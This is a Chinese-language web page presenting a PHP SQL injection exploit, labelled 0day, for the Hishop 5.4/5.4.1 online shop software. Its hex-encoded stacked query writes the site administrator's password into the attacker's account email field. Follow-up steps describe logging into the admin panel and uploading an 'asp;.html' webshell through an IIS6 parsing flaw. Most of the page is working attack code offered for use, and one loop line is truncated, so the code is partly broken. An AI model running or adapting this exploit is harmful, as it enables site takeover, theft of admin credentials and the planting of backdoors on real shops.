Hishop(最新版) 5.4&5.4.1 SQL Injection Exploit[0day]漏洞预警 -电脑资料

    hishop 自从09年 5.1 和5.1.3爆过漏洞之后就没爆了，

Hishop(最新版) 5.4&5.4.1 SQL Injection Exploit[0day]漏洞预警

    前段时间看了下，找到一个注入点，不过语句有点复杂而且还过滤了下划线（表名当中都有下划线），所以需要特别构造下，

    这个注入点再结合iis6就能拿shell了。

    前几天看到了toby57大牛dz1.5的exp， 看的我荡漾了，所以下午花了点时间，看了下PHP，学着写了个php的exp。

    大牛别笑哈。。

    =============================================================================

    print_r('

    +---------------------------------------------------------------------------+

    Hishop 5.4&5.4.1 SQL injection exploit           By: Vccjis & 蓝孩(b1u3b0y)

    Team : Www.MyClover.Org

    Data : 2011.6.9

    +---------------------------------------------------------------------------+

    ');

    if ($argc < 3) {

    print_r('

    +---------------------------------------------------------------------------+

    Usage: php '.$argv[0].' Host Port Path RegMail

    Example:

    php '.$argv[0].' localhost 80 /SHOES/category-92.aspx?valueStr=35_0 syc@myclover.org

    +---------------------------------------------------------------------------+

    ');

    exit;

    }

    $host = $argv[1];

    $port = $argv[2];

    $path = $argv[3];

    $mail = $argv[4];

    $expdata="";

    for($i=0;$i

    $expdata = $expdata . dechex(ord($mail[$i])) . "00";

    $expdata=strtoupper($expdata);

    $expdata = "%27)%20or%201=1;DECLARE%20@S%20NVARCHAR(4000)%20SET%20@S=CAST(0x75007000640061007400650020006100730070006E00650074005F004D0065006D0062006500720073006800690070002000730065007400200045006D00610069006C003D002800730065006C006500630074002000700061007300730077006F00720064002000660072006F006D0020006100730070006E00650074005F006D0065006D00620065007200730068006900700020007700680065007200650020007500730065007200690064003D002800730065006C0065006300740020007500730065007200690064002000660072006F006D0020006100730070006E00650074005F0075007300650072007300200077006800650072006500200075007300650072006E0061006D0065003D002700610064006D0069006E00270029002900200077006800650072006500200045006D00610069006C003D002700" . $expdata . "2700%20AS%20NVARCHAR(4000))%20EXEC(@S);--";

    GET($host,$port,$path,$expdata,30);

    function GET($host,$port,$path,$data,$timeout, $cookie='') {

    $fp = fsockopen($host, $port, $errno, $errstr, 30);

    if (!$fp) {

    echo "{$errstr} ({$errno})
\n";

    exit;

    }

    $out = "GET $path$data HTTP/1.1\r\n";

    $out .= "Host: $host:$port\r\n";

    $out .= "Connection: CLOSE\r\n\r\n\r\n";

    fwrite($fp, $out);

    while (!feof($fp)) {

    fgets($fp, 128);

    }

    fclose($fp);

    }

    print_r('

    +---------------------------------------------------------------------------+

    [+] Get Manager Password

    [1] 到【登陆】-》【我的账户】-》【个人信息】

    [2] 电子邮件那里就是管理员的密码，

电脑资料

    [3] Good Luck!

    +---------------------------------------------------------------------------+

    [+] Get WebShell (IIS6)

    [1] 登陆后台/admin/ 【商品管理】-》【分类模板设置】

    [2] 上传1.asp;.html

    [3] Shell地址：http://127.0.0.1/Themes/default/zh-cn/categorythemes/1.asp;.html

    +---------------------------------------------------------------------------+

    ');

    ?>

    =============================================================================

    选这种类似的URL